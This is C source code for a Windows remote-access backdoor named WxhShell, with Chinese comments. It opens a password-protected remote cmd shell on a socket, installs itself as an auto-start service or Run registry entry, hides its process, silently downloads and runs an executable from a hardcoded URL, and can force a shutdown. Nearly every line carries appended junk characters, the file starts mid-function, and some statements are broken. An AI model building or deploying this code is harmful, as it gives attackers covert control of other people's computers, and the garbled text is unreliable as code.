    if(Boot(SHUTDOWN)) #4q1{)=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^yD"d =z  
    else { &vkp?UH  
    closesocket(wsh); fMzYFM'i  
    ExitThread(0); y&3TQ]f\  
    } %/md"S  
    break; kdd7X bw-  
    } kDg{ >mf  
  // 获取shell wXcMt>3  
  case 's': { /KP_Vc:g2_  
    CmdShell(wsh); b.,$# D{p  
    closesocket(wsh); L"9 Gc  
    ExitThread(0); 1)gv%_  
    break; +/}_%Cf8  
  } 7p !zp9|  
  // 退出 H-m`Dh5{  
  case 'x': { &]*|6cR$E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aa!a&L|!  
    CloseIt(wsh); }JH`' &3  
    break; -7,vtd[h  
    } gb9[Meg'  
  // 离开 i&1U4q  
  case 'q': { _&K\D p&@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gTuX *7w  
    closesocket(wsh); XX:q|?6_ 4  
    WSACleanup(); V-:`+&S{^  
    exit(1); 9kUV1?  
    break; Gzj3Ka  
        } 9g4QVo|  
  } jvWI_Fto  
  } 7Qt2gf  
/Q]:Uf.J  
  // 提示信息 Ef-a4Pi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BQuRHi IV  
} f{f_g8f[  
  } !HvGlj@(|  
=s6E/K  
  return; (}6wAfGo  
} oq243\?Y  
 .?70=8{  
// shell模块句柄 g"w)@*?K  
int CmdShell(SOCKET sock) 6,a%&1_  
{ 4 ;^g MI9  
STARTUPINFO si; )2#vhMpdN  
ZeroMemory(&si,sizeof(si)); *|@+rbjVC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wd"TM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bD  d_}  
PROCESS_INFORMATION ProcessInfo; Plb}dID"  
char cmdline[]="cmd"; FSFFk~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N JXa_&_  
  return 0; jjYM3LQcdP  
} _qEWu Do  
5a8JVDLX^  
// 自身启动模式 'G52<sF  
int StartFromService(void) #i@ACAgn;6  
{ otoBb^Mz  
typedef struct M9h<}mh\  
{ HUK" OH  
  DWORD ExitStatus; (K<Z=a  
  DWORD PebBaseAddress; P4i3y{$V  
  DWORD AffinityMask; KU*`f{|  
  DWORD BasePriority; ^P]?3U\nj  
  ULONG UniqueProcessId; 7:#  
  ULONG InheritedFromUniqueProcessId; O{Dm;@J-aM  
}   PROCESS_BASIC_INFORMATION; U2VV[e)Z!  
B<(Pd  
PROCNTQSIP NtQueryInformationProcess; omNpE_  
vuAQm}A4'g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E`Q;DlXv>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `Fz\wPd  
&3jBE --  
  HANDLE             hProcess; Lf[G>0t&n  
  PROCESS_BASIC_INFORMATION pbi; !-F^VGD(8  
7 kEx48  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wk7L:uK  
  if(NULL == hInst ) return 0; };i&a%I|  
c6f|y_ 2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ng?apaIi@~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u,:CJ[3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j l}!T[5  
Fecx';_1`  
  if (!NtQueryInformationProcess) return 0; mx:J>SPA8  
8e]z6:}'E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #4Dn@Gqh.Y  
  if(!hProcess) return 0; |if~i;VKL  
w:ORmR .p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KuIBYaK, g  
<j{0!J@:  
  CloseHandle(hProcess); XulaPq  
aytq4Ts  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X!HDj<  
if(hProcess==NULL) return 0; q-A`/9  
fEx+gQW_  
HMODULE hMod; <jpeu^7  
char procName[255]; Rrh<mo(yj#  
unsigned long cbNeeded; m(8jSGV  
cBg,k[,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JZW gr&O<  
(y-x01H  
  CloseHandle(hProcess); mrK,Ql  
i_[^s:*T  
if(strstr(procName,"services")) return 1; // 以服务启动 ?SB[lbU  
 $&ex\_W  
  return 0; // 注册表启动 sI^@A=.@  
} z0\;m{TH  
GS$ZvO  
// 主模块 c-[Q,c  
int StartWxhshell(LPSTR lpCmdLine) aQl?d<|+lk  
{ P%.`c?olbs  
  SOCKET wsl; L 2[Ei|9_  
BOOL val=TRUE; j l;kcGE  
  int port=0; N$N;Sw  
  struct sockaddr_in door; 5%2ef{T[  
-}=@ *See#  
  if(wscfg.ws_autoins) Install(); _fVh%_oH1  
)?!vJb"  
port=atoi(lpCmdLine); MV Hz$hyB  
"z^BKb5  
if(port<=0) port=wscfg.ws_port; 2$o2.$i81  
&>&dhdTQ  
  WSADATA data; R59e&   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3~cS}N T  
h5LJij J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f28gE7Y\a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f?/|;Zo4  
  door.sin_family = AF_INET; [z W_%O kP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n@G:e-m{A  
  door.sin_port = htons(port); \e`6=Q%  
FBR$,j;Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1<XiD 3H;  
closesocket(wsl); kA7~Yu5|  
return 1; c%q}"Y0oh  
} J0IdFFZ|w  
Qh)|FQ[s$r  
  if(listen(wsl,2) == INVALID_SOCKET) { !L &=?CX  
closesocket(wsl); Zp/qs z(]  
return 1; |#DC.Ga!  
} 7bgnZ]r8t  
  Wxhshell(wsl); .Ws iOJU  
  WSACleanup(); *6 I =oE  
,Hik(22  
return 0; yRgDhA  
"o\6k"_c>  
} G=r(SJq  
Gk{ "O%AE  
// 以NT服务方式启动 wc<2Uc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t-v^-#  
{ 9s;!iDFn  
DWORD   status = 0; xHM&csL  
  DWORD   specificError = 0xfffffff; M3ecIVm8(  
ir?Uw:/f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }vXA`)Ns  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1Y H4a|bc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N:UDbLjw~  
  serviceStatus.dwWin32ExitCode     = 0; fl pXVtsQ  
  serviceStatus.dwServiceSpecificExitCode = 0; b9W<1eqF  
  serviceStatus.dwCheckPoint       = 0; syWv'Y[k?  
  serviceStatus.dwWaitHint       = 0; ;a!h.8UJPI  
jyY^iQ.2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DuTlYXM2^  
  if (hServiceStatusHandle==0) return;  2.HZ+1  
'U|MM;(  
status = GetLastError(); 9J-!o]f .b  
  if (status!=NO_ERROR) NDs]}5#   
{ 9 NGeh*`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z4wrXss~  
    serviceStatus.dwCheckPoint       = 0; o*O "\/pmF  
    serviceStatus.dwWaitHint       = 0; OH-~  
    serviceStatus.dwWin32ExitCode     = status; ~>Hnf_pZO  
    serviceStatus.dwServiceSpecificExitCode = specificError; C }h<ldlY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); # `N6<nb  
    return; q5?rp|7D  
  } bWX[<rh'  
k$UzBxR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1cHSgpoJ  
  serviceStatus.dwCheckPoint       = 0; %S(#cf!HP  
  serviceStatus.dwWaitHint       = 0; $>S}acuC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C*W.9  
} 9sfB+]}h  
\dp9@y[^  
// 处理NT服务事件,比如:启动、停止 yZj}EBa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;qT!fuN;  
{ (!XYH@Mz<w  
switch(fdwControl) JR? )SGB  
{ i(&6ys5  
case SERVICE_CONTROL_STOP: 'y+bx?3Z  
  serviceStatus.dwWin32ExitCode = 0; p5twL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x8SM,2ud  
  serviceStatus.dwCheckPoint   = 0; 6KIjq[T^  
  serviceStatus.dwWaitHint     = 0;  MrKU,-  
  { |mQtjo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )"pxry4v7J  
  } ery?G-  
  return; ZZ]OR;8  
case SERVICE_CONTROL_PAUSE: @MlU!oR&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <WHs  
  break; "a0u-}/D  
case SERVICE_CONTROL_CONTINUE: m>Z\ rqOK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ul$X%  
  break; =}%#$  
case SERVICE_CONTROL_INTERROGATE: pb/{ss+  
  break; ZVL- o<6  
}; 0w'y#U)&8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xu_XX#9?b  
} TY54e T  
JT.\f,z&  
// 标准应用程序主函数 vs'L1$L'c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SSL%$:l@  
{ b68G&z>   
V\rIN}7  
// 获取操作系统版本 f@F^W YQm  
OsIsNt=GetOsVer(); `:bvuc(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S}v{^vR  
?*z( 1!  
  // 从命令行安装 ;)= zvr17  
  if(strpbrk(lpCmdLine,"iI")) Install(); njwR~aL`|  
 [A%e6  
  // 下载执行文件 O=#/DM;  
if(wscfg.ws_downexe) { &, Zz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -u3SsU)_%N  
  WinExec(wscfg.ws_filenam,SW_HIDE); cDQw`ORP*g  
} G0 nH Z6  
LDi ez i  
if(!OsIsNt) { Zjp5\+hHV  
// 如果时win9x,隐藏进程并且设置为注册表启动 eJ=Y6;d$  
HideProc(); u\1Wkxj  
StartWxhshell(lpCmdLine); PGv}fEH"  
} :)J~FVLy  
else } ^GV(]K  
  if(StartFromService()) }eDX8b8emA  
  // 以服务方式启动 hPqapz]HcP  
  StartServiceCtrlDispatcher(DispatchTable); z)<pqN  
else 4|@FO}rK[l  
  // 普通方式启动 0LHiOav  
  StartWxhshell(lpCmdLine); RESGI}u  
V=l Q}sBY  
return 0; Lm*LJ_+ B  
} 53u.p c  
kq1M <lk  
|q!2i  
Ti@P4:q  
=========================================== dl7p1Cr  
*F8 uu.  
C!/8e (!N  
`i>B|g-  
^?^|Y?f2P?  
 I^(o3B  
" Vg [5bJ5  
;aRWJG  
#include <stdio.h> [[66[;  
#include <string.h> t6L^ #\'  
#include <windows.h> [@. jL0>  
#include <winsock2.h> .k:&&sAz  
#include <winsvc.h> {z[HNSyRs  
#include <urlmon.h> ukDH@/  
Alk* "p  
#pragma comment (lib, "Ws2_32.lib") l~6SR  
#pragma comment (lib, "urlmon.lib") e2h k  
C#?d=x  
#define MAX_USER   100 // 最大客户端连接数 b1>$sPJ+  
#define BUF_SOCK   200 // sock buffer 4qSS<SqY  
#define KEY_BUFF   255 // 输入 buffer nxh/&%  
G`9F.T_Z^)  
#define REBOOT     0   // 重启 @qhg[= @  
#define SHUTDOWN   1   // 关机 LN6JH!  
x]d"|jmVZ  
#define DEF_PORT   5000 // 监听端口 ://|f  
Dgq[g_+l  
#define REG_LEN     16   // 注册表键长度 -_4jJxh=OB  
#define SVC_LEN     80   // NT服务名长度 jf)JPa_  
85@6uBh  
// 从dll定义API 8DS5<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); knK=ENf;e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;'18  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1\608~ZH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k}0  
={i&F  
// wxhshell配置信息 +$mskj0s  
struct WSCFG { HG3>RcB  
  int ws_port;         // 监听端口 qP^0($  
  char ws_passstr[REG_LEN]; // 口令 E~g}DKs_5  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'a{5}8+8  
  char ws_regname[REG_LEN]; // 注册表键名 em9]WSfZ@`  
  char ws_svcname[REG_LEN]; // 服务名 8^"|-~#<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qyBK\WqaP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )J6b:W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fi4/@tV?$L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no % /4_|@<'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J%[N-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T#^6u)  
"KT nX#<0  
}; {FmFu$z+[  
u/:Sf*;?  
// default Wxhshell configuration "vRqtEBO@  
struct WSCFG wscfg={DEF_PORT, ?o DfI  
    "xuhuanlingzhe", l'{goyf  
    1, Y)5uK:)^  
    "Wxhshell", rnBeL _8C  
    "Wxhshell", 4a\+o]  
            "WxhShell Service", ]jY)M<:J4  
    "Wrsky Windows CmdShell Service", n]{}C.C=  
    "Please Input Your Password: ", N8(x),  
  1, .Zt/e>K&  
  "http://www.wrsky.com/wxhshell.exe", 0JRB Nh  
  "Wxhshell.exe" v*]Xur6e}  
    }; YK+Z0ry  
.6/p4OR|  
// 消息定义模块 |2&mvjk@H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gLxy RbVI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hE#8_34%s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x w83K  
char *msg_ws_ext="\n\rExit."; WI 4_4  
char *msg_ws_end="\n\rQuit."; |Gs-9+'y  
char *msg_ws_boot="\n\rReboot..."; 2?nyPqT3AM  
char *msg_ws_poff="\n\rShutdown..."; 5F+ f'~  
char *msg_ws_down="\n\rSave to "; !<PTsk F  
Z6AU%3]  
char *msg_ws_err="\n\rErr!"; L8K3&[l%  
char *msg_ws_ok="\n\rOK!"; 0|Ft0y`+  
!9cPNIi  
char ExeFile[MAX_PATH]; +~{nU'  
int nUser = 0; 0m!ZJHe  
HANDLE handles[MAX_USER]; dZYJ(7%  
int OsIsNt; ^Jpd9KK  
>)Z2bCe  
SERVICE_STATUS       serviceStatus; 8=Y|B5   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qq%_ksQ  
^[z\KmUqt  
// 函数声明 )3\rp$]1  
int Install(void); ZU@jtqq  
int Uninstall(void); ~9;mZi1-  
int DownloadFile(char *sURL, SOCKET wsh); *7V{yK$O|  
int Boot(int flag); {Om3fSk:  
void HideProc(void); ^g){)rz|  
int GetOsVer(void); p;Ok.cXVp  
int Wxhshell(SOCKET wsl); 0 S8{VZpy  
void TalkWithClient(void *cs);  !3M!p&  
int CmdShell(SOCKET sock); 95&sFT C  
int StartFromService(void); J 2~B<=V  
int StartWxhshell(LPSTR lpCmdLine); l+X^x%EA  
Sh6 NgO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a#Gq J?nY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (xJBN?NRO  
"MP{z~M mj  
// 数据结构和表定义 evk <<zi  
SERVICE_TABLE_ENTRY DispatchTable[] = .shI% 'V  
{ Ds5&5&af  
{wscfg.ws_svcname, NTServiceMain}, ^o<Nz8  
{NULL, NULL} F+^[8zK^  
}; }slEkpk? ]  
'~=xP  
// 自我安装 ky"7 ^  
int Install(void) fb=vO U  
{ l{ { #tW  
  char svExeFile[MAX_PATH]; X KeK;+  
  HKEY key; EqwA8? M  
  strcpy(svExeFile,ExeFile); OU=IV;V{  
Dp'af4+%$  
// 如果是win9x系统,修改注册表设为自启动 OVK(:{PwS  
if(!OsIsNt) { Y mSaIf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2uB26SEIl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ps,w(k{d  
  RegCloseKey(key); t?&ajh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *g.,[a0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CA~S$H\"  
  RegCloseKey(key); yE/I)GOQjs  
  return 0; %['F[Mo  
    } Nq1RAM  
  } 8u23@?  
} ]qQB+]WN  
else { Fd0FG A&L  
,FPgs0rrS  
// 如果是NT以上系统,安装为系统服务 cW>`Z:6{K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :9>nY  
if (schSCManager!=0)  F<1'M#bl  
{ Ho9*y3]  
  SC_HANDLE schService = CreateService ~_6rD`2cJ  
  ( y!Eh /KD  
  schSCManager, bJvRQrj*3  
  wscfg.ws_svcname, cZi&L p  
  wscfg.ws_svcdisp, artS*fv3r  
  SERVICE_ALL_ACCESS, N4FG_  N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'a9.JS[pj  
  SERVICE_AUTO_START, u(qpdG||7  
  SERVICE_ERROR_NORMAL, Y*Rqgpu $  
  svExeFile, hD=D5LYAZ  
  NULL, 8 F 1ga15  
  NULL, !"">'}E1  
  NULL, 4^A'A.0  
  NULL, !b Km}1T  
  NULL <Z wEdq  
  );  yw^, @'  
  if (schService!=0) _z< q9:  
  { Cr"hu;  
  CloseServiceHandle(schService); svII =JB  
  CloseServiceHandle(schSCManager); Xp@OIn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .- o,_eg1f  
  strcat(svExeFile,wscfg.ws_svcname); p_5+L@%Gb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ={d\zjI$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .4-S|]/d,  
  RegCloseKey(key); 06r cW `  
  return 0; IrK )N  
    } ^Y!`wp2vn  
  } Il[WXt<S  
  CloseServiceHandle(schSCManager); Y"U&3e,  
} {643Dz<e  
} 'McVaPav  
T!AQJ:;1  
return 1; A#{*A  
} o! N@W  
*0tNun 5=3  
// 自我卸载 r>OE[C69  
int Uninstall(void) 9)`wd&!  
{ _;+&'=6.[  
  HKEY key; UJ+JVj   
p<NgT1"{  
if(!OsIsNt) { q9>w3 <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Si(?+bda0c  
  RegDeleteValue(key,wscfg.ws_regname); }r[BME  
  RegCloseKey(key); [\y>Gv%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TW$^]u~v  
  RegDeleteValue(key,wscfg.ws_regname); G{9y`;  
  RegCloseKey(key); {0~ p"%*  
  return 0; # jyAq$I0  
  } 6C=.8eP  
} nfEk,(:  
} xae7#d0  
else { T/nRc_I+^B  
6{ Eh={:b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1U!CD-%(  
if (schSCManager!=0) /6fsh7 \  
{ hvwr!(|W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )XWL'':bF  
  if (schService!=0) N[%IrN3  
  { z%z$'m  
  if(DeleteService(schService)!=0) { `K.yE0^i  
  CloseServiceHandle(schService); o>h>#!e  
  CloseServiceHandle(schSCManager); m;|I}{r  
  return 0; J=Z"sU=  
  } =>Efrma  
  CloseServiceHandle(schService); 92R{V%)G  
  } 7UiU3SUcg  
  CloseServiceHandle(schSCManager); K} @q+  
} {1 mD(+pJ{  
} n%}0hVu  
7>TG ]&  
return 1; NUseYU``  
} {[eY/)6H  
6/ )A6Tt  
// 从指定url下载文件 Cq=c'(cX  
int DownloadFile(char *sURL, SOCKET wsh) Yi3DoaS;"  
{ kBkhuKd)V  
  HRESULT hr; += QboUN  
char seps[]= "/"; u&:jQ:[  
char *token; c|XnPqo;f  
char *file; E6uIp^E  
char myURL[MAX_PATH]; .#SWfAb2h  
char myFILE[MAX_PATH]; +|N"i~f>j  
rx<fjA%  
strcpy(myURL,sURL); ftbu:RtK^^  
  token=strtok(myURL,seps); +Aq}BjD#  
  while(token!=NULL) te_D  ,  
  { .$rcTZ  
    file=token; B7 T+a  
  token=strtok(NULL,seps); W#$rC<Jh]  
  } asb") NfIm  
R[6&{&E:  
GetCurrentDirectory(MAX_PATH,myFILE); !Wk "a7  
strcat(myFILE, "\\"); ay2.C BF  
strcat(myFILE, file); pAYuOk9n  
  send(wsh,myFILE,strlen(myFILE),0); {chl+au*l  
send(wsh,"...",3,0); g~]FI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (,k=mF  
  if(hr==S_OK) ?V+=uTCq  
return 0; UaB!,vs3st  
else aO{k-44y  
return 1; 'k hJZ:  
L3S,*LnA  
} e |!i1e!  
8Vp"}(Q  
// 系统电源模块 N gr7E  
int Boot(int flag) D<:9pLD(  
{ >:.Bn8-  
  HANDLE hToken; 3s+D x$Ud  
  TOKEN_PRIVILEGES tkp; Z+4J4Ka^!(  
6w' ^,V  
  if(OsIsNt) { /h;X1Htx}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &WIPz\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N?aU<-Tn  
    tkp.PrivilegeCount = 1; h c "n?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3OTSLF/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #'8E%4  
if(flag==REBOOT) { 6<2 7}S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <7qM;) g  
  return 0; $8b/"Qm  
} k;]&`c^5  
else { 0 @>3fR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oo,<zS=ICk  
  return 0; Pp?J5HW  
} ,JR7N_"I  
  } B<W{kEY  
  else { 2`x[y?Tn  
if(flag==REBOOT) { 3a =KgOvp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^z_~e@U  
  return 0; FQ_4a}UOjX  
} ke/QFN-`  
else { 9G&l{7=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <)&;9C  
  return 0; 3K{'~?mM  
} Bb m1&d#  
} >n#Pq{7aF  
.Sm7na K  
return 1; i=Y#kL~f  
} 0-7xcF@s  
#P1k5!u  
// win9x进程隐藏模块 B>Mk "WjQ  
void HideProc(void) +Oo>V~  
{ x.!%'{+ {  
~qRP.bV%f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #=h~Lr'UH  
  if ( hKernel != NULL ) Q\}5q3  
  { hW]:CIqk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7 'N&jI   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rTQrlQ:@  
    FreeLibrary(hKernel); r'"H8>UZ%  
  } uSH.c>  
(JOge~U  
return; 1aKY+4/G  
} -(dc1?COi  
&GX pRo  
// 获取操作系统版本 ^+I{*0{/[  
int GetOsVer(void) 26j ; RV  
{ Y2}\~I0  
  OSVERSIONINFO winfo; Go8 m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :\>@yCD  
  GetVersionEx(&winfo); f$R]m2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ 7jK6;R<  
  return 1; N,L$+wm  
  else C/!kMMh>vV  
  return 0; nF]lSg&]X  
} c<|;<8ew  
qn:3s  
// 客户端句柄模块 +eQg+@u  
int Wxhshell(SOCKET wsl) SD |5v*  
{ *1|&uE&_R  
  SOCKET wsh; a=Pl3Uo  
  struct sockaddr_in client; du  Pzt  
  DWORD myID; U2seD5I  
xwq {0jY  
  while(nUser<MAX_USER) /g@!#Dt  
{ i.Yz)Bw   
  int nSize=sizeof(client); _3.=| @L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \G:\36l  
  if(wsh==INVALID_SOCKET) return 1; *bsS%qD]  
(X;D.s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s:CsUl|  
if(handles[nUser]==0) XX+%:,G  
  closesocket(wsh); KFx4"f%  
else "{Lp'+wNw  
  nUser++; Eu2@%2}P  
  } ;.+sz(:hm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I'm.+(1m,  
WZ> }  
  return 0; Dm2&}{&K  
} p@0Va  
iLD}>=  
// 关闭 socket qX>mOW^gT8  
void CloseIt(SOCKET wsh) ')zdI]@ M  
{ X|++K;rtfE  
closesocket(wsh); 8tJB/P w`S  
nUser--; 0CX2dk"UB^  
ExitThread(0); u[k0z!p_ c  
} 8Th{(J_  
%|Sh|\6A!  
// 客户端请求句柄 0ZcvpR?G  
void TalkWithClient(void *cs) j#6@ cO'`  
{ /x\{cHAt8J  
z$C}V/Ey  
  SOCKET wsh=(SOCKET)cs; [M?'N w/[S  
  char pwd[SVC_LEN]; AUBZ7*VO  
  char cmd[KEY_BUFF]; ai0am  
char chr[1]; Q*&k6A"jx  
int i,j; hhRUC&Y%V  
-y]e`\+[  
  while (nUser < MAX_USER) { u4hC/!  
;d5d$Np@m&  
if(wscfg.ws_passstr) { uf q9+}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ls51U7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l7vU{Fd-h^  
  //ZeroMemory(pwd,KEY_BUFF); X!6oviT|m  
      i=0; ,X^I]]  
  while(i<SVC_LEN) { xYSNop3_  
_=$:<wIE[  
  // 设置超时 , !0-;H.Y  
  fd_set FdRead; {5`=){  
  struct timeval TimeOut; DNwqi"  
  FD_ZERO(&FdRead); ?Pbh&!  
  FD_SET(wsh,&FdRead); o>~xrV`E  
  TimeOut.tv_sec=8; m}`!FaB #  
  TimeOut.tv_usec=0; nz+k ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nymro[@O~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N #C,q&;  
'qoDFR\v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4+?d0  
  pwd=chr[0]; 8p"R4  
  if(chr[0]==0xd || chr[0]==0xa) { @?bO@  
  pwd=0; s&.VU|=VQ@  
  break; a\_?zi]s&,  
  } *UxN~?N|  
  i++; E)ne z  
    } N./l\NtZ  
:^bjn3b  
  // 如果是非法用户,关闭 socket a]NH >d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ga,+  
} 2d:IYCl4q  
V d`}F0WD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J2Y S+%K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4rDa Jd>,  
$e#V^dph  
while(1) { 5,vw%F-m  
9S<g2v  
  ZeroMemory(cmd,KEY_BUFF); pA?kv]l(  
Yl\p*j"Fid  
      // 自动支持客户端 telnet标准   i`st'\I  
  j=0; &GKtD)  
  while(j<KEY_BUFF) { <36z,[,kZ@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a|Yry  
  cmd[j]=chr[0]; b_v{QE<  
  if(chr[0]==0xa || chr[0]==0xd) { nA1059B  
  cmd[j]=0; 6O@/Y;5i  
  break; u*w'.5l  
  } ?mq<#/qb  
  j++; N$I@]PL  
    } _-6IB>  
H 5,rp4H9  
  // 下载文件 )\3 RR.p  
  if(strstr(cmd,"http://")) { -mfdngp3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <13').F  
  if(DownloadFile(cmd,wsh)) {BI5lvx:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F'Lav?^  
  else =CqZ$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e09('SON(  
